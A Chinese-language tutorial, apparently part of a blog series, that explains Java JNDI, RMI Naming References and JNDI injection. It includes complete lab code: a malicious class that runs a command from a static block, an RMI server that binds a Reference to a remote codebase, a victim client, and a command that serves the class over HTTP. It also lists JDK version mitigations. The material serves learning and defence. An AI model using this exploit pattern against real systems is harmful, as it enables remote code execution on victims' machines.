0x01 前言
我們在上一章《攻擊rmi的方式》中提到了rmi的一大特性——動態類加載。而jndi注入就是利用的動態類加載完成攻擊的。在談jndi注入之前,我們先來看看關於jndi的基礎知識
0x02 jndi是個啥
jndi的全稱爲Java Naming and Directory Interface(java命名和目錄接口)SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的服務供應接口(SPI)的實現,由管理者將JNDI API映射爲特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互、如圖
上面提到了命名服務與目錄服務,他們又是什麼呢?
命名服務
命名服務是一種簡單的鍵值對綁定,可以通過鍵名檢索值,RMI就是典型的命名服務
目錄服務
目錄服務是命名服務的拓展。它與命名服務的區別在於它可以通過對象屬性來檢索對象,這麼說可能不太好理解,我們舉個例子:比如你要在某個學校裏裏找某個人,那麼會通過:年級->班級->姓名這種方式來查找,年級、班級、姓名這些就是某個人的屬性,這種層級關係就很像目錄關係,所以這種存儲對象的方式就叫目錄服務。LDAP是典型的目錄服務,這個我們暫且還沒接觸到,後文會提及
其實,仔細一琢磨就會感覺其實命名服務與目錄服務的本質是一樣的,都是通過鍵來查找對象,只不過目錄服務的鍵要靈活且複雜一點。
在一開始很多人都會被jndi、rmi這些詞彙搞的暈頭轉向,而且很多文章中提到了可以用jndi調用rmi,就更容易讓人發昏了。我們只要知道jndi是對各種訪問目錄服務的邏輯進行了再封裝,也就是以前我們訪問rmi與ldap要寫的代碼差別很大,但是有了jndi這一層,我們就可以用jndi的方式來輕鬆訪問rmi或者ldap服務,這樣訪問不同的服務的代碼實現基本是一樣的。一圖勝千言:
從圖中可以看到jndi在訪問rmi時只是傳了一個鍵foo過去,然後rmi服務端返回了一個對象,訪問ldap這種目錄服務室,傳過去的字符串比較複雜,包含了多個鍵值對,這些鍵值對就是對象的屬性,LDAP將根據這些屬性來判斷到底返回哪個對象.
0x03 jndi 代碼實現
在JNDI中提供了綁定和查找的方法:
- bind:將名稱綁定到對象中;
- lookup:通過名字檢索執行的對象;
下面的demo將演示如何用jndi訪問rmi服務:
先實現一個接口
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
然後創建一個類實現上面的接口,這個類的實例一會將要被綁定到rmi註冊表中
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
@Override
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}
上面的都是簡單的創建一個遠程對象,和之前rmi創建遠程對象的要求是一樣的,下面我們創建一個類實現對象的綁定,以及遠程對象的調用
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class CallService {
public static void main(String[] args) throws Exception{
//配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
// 創建初始化環境
Context ctx = new InitialContext(env);
// 創建一個rmi映射表
Registry registry = LocateRegistry.createRegistry(1099);
// 創建一個對象
IHello hello = new IHelloImpl();
// 將對象綁定到rmi註冊表
registry.bind("hello", hello);
// jndi的方式獲取遠程對象
IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
// 調用遠程對象的方法
System.out.println(rhello.sayHello("axin"));
}
}
成功調用遠程對象的sayHello方法
由於上面的代碼將服務端與客戶端寫到了一起,所以看着不那麼清晰,我看到很多文章裏吧JNDI工廠初始化這一步操作劃分到了服務端,我覺得是錯誤的,配置jndi工廠與jndi的url和端口應該是客戶端的事情。
ps:可以對比一下前幾章的rmi demo與這裏的jndi demo訪問遠程對象的區別,加深理解
0x04 JNDI動態協議轉換
我們上面的demo提前配置了jndi的初始化環境,還配置了Context.PROVIDER_URL,這個屬性指定了到哪裏加載本地沒有的類,所以,上面的demo中
ctk.lookup("rmi://localhost:1099/hello")
這一處代碼改爲ctk.lookup("hello")
也是沒啥問題的。
那麼動態協議轉換是個什麼意思呢?其實就是說即使提前配置了Context.PROVIDER_URL屬性,當我們調用lookup()方法時,如果lookup方法的參數像demo中那樣是一個uri地址,那麼客戶端就會去lookup()方法參數指定的uri中加載遠程對象,而不是去Context.PROVIDER_URL設置的地址去加載對象(如果感興趣可以跟一下源碼,可以看到具體的實現)。
正是因爲有這個特性,才導致當lookup()方法的參數可控時,攻擊者可以通過提供一個惡意的url地址來控制受害者加載攻擊者指定的惡意類。
但是你以爲直接讓受害者去攻擊者指定的rmi註冊表加載一個類回來就能完成攻擊嗎,是不行的,因爲受害者本地沒有攻擊者提供的類的class文件,所以是調用不了方法的,所以我們需要藉助接下來要提到的東西
0x05 JNDI Naming Reference
Reference類表示對存在於命名/目錄系統以外的對象的引用。如果遠程獲取 RMI 服務上的對象爲 Reference 類或者其子類,則在客戶端獲取到遠程對象存根實例時,可以從其他服務器上加載 class 文件來進行實例化。
Java爲了將Object對象存儲在Naming或Directory服務下,提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming或Directory服務下,比如RMI、LDAP等。
在使用Reference時,我們可以直接將對象傳入構造方法中,當被調用時,對象的方法就會被觸發,創建Reference實例時幾個比較關鍵的屬性:
- className:遠程加載時所使用的類名;
- classFactory:加載的class中需要實例化類的名稱;
- classFactoryLocation:遠程加載類的地址,提供classes數據的地址可以是file/ftp/http等協議;
當然,要把一個對象綁定到rmi註冊表中,這個對象需要繼承UnicastRemoteObject,但是Reference沒有繼承它,所以我們還需要封裝一下它,用 ReferenceWrapper 包裹一下Reference實例對象,這樣就可以將其綁定到rmi註冊表,並被遠程訪問到了,demo如下:
// 第一個參數是遠程加載時所使用的類名, 第二個參數是要加載的類的完整類名(這兩個參數可能有點讓人難以琢磨,往下看你就明白了),第三個參數就是遠程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
當有客戶端通過lookup(“refObj”)獲取遠程對象時,獲取的是一個Reference存根(Stub),由於是Reference的存根,所以客戶端會現在本地的classpath中去檢查是否存在類refClassName,如果不存在則去指定的url(http://axin.com:6666/refClassName.class)動態加載,並且調用insClassName的無參構造函數,所以可以在構造函數裏寫惡意代碼。當然除了在無參構造函數中寫利用代碼,還可以利用java的static代碼塊來寫惡意代碼,因爲static代碼塊的代碼在class文件被加載過後就會立即執行,且只執行一次。
瞭解更多關於static代碼塊,參考:https://www.cnblogs.com/panjun-donet/archive/2010/08/10/1796209.html
0x06 JNDI注入
jndi注入原理
就是將惡意的Reference類綁定在RMI註冊表中,其中惡意引用指向遠程惡意的class文件,當用戶在JNDI客戶端的lookup()函數參數外部可控或Reference類構造方法的classFactoryLocation參數外部可控時,會使用戶的JNDI客戶端訪問RMI註冊表中綁定的惡意Reference類,從而加載遠程服務器上的惡意class文件在客戶端本地執行,最終實現JNDI注入攻擊導致遠程代碼執行
jndi注入的利用條件
- 客戶端的lookup()方法的參數可控
- 服務端在使用Reference時,classFactoryLocation參數可控~
上面兩個都是在編寫程序時可能存在的脆弱點(任意一個滿足就行),除此之外,jdk版本在jndi注入中也起着至關重要的作用,而且不同的攻擊響亮對jdk的版本要求也不一致,這裏就全部列出來:
-
JDK 6u45、7u21之後:java.rmi.server.useCodebaseOnly的默認值被設置爲true。當該值爲true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。
-
JDK 6u141、7u131、8u121之後:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認爲false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI爲LDAP協議來進行JNDI注入攻擊。
-
JDK 6u211、7u201、8u191之後:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認爲false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了。
jndi注入 demo
- 創建一個惡意對象
import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;
public class EvilObj {
public static void exec(String cmd) throws IOException {
String sb = "";
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
String lineStr;
while((lineStr = inBr.readLine()) != null){
sb += lineStr+"\n";
}
inBr.close();
inBr.close();
}
public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
return null;
}
static {
try{
exec("gnome-calculator");
}catch (Exception e){
e.printStackTrace();
}
}
}
可以看到這裏利用的是static代碼塊執行命令
- 創建rmi服務端,綁定惡意的Reference到rmi註冊表
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
- 創建一個客戶端(受害者)
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/evil");
}
}
可以看到這裏的lookup方法的參數是指向我設定的惡意rmi地址的。
然後先編譯該項目,生成class文件,然後在class文件目錄下用python啓動一個簡單的HTTP Server:
python -m SimpleHTTPServer 6666
執行上述命令就會在6666端口、當前目錄下運行一個HTTP Server:
然後運行Server端,啓動rmi registry服務
最後運行客戶端(受害者):
成功彈出計算器。注意,我這裏用到的jdk版本爲jdk1.7.0_80,下面是rmi動態調用的一個流程
0x07 其他
放一些參考文章:
https://wulidecade.cn/2019/03/25/%E6%B5%85%E8%B0%88JNDI%E6%B3%A8%E5%85%A5%E4%B8%8Ejava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/
https://xz.aliyun.com/t/6633#toc-5
https://paper.seebug.org/417/
https://security.tencent.com/index.php/blog/msg/131
下一章,我們來看一下fastjson的反序列化,其中就會利用到jndi這一攻擊手法
+v 看更多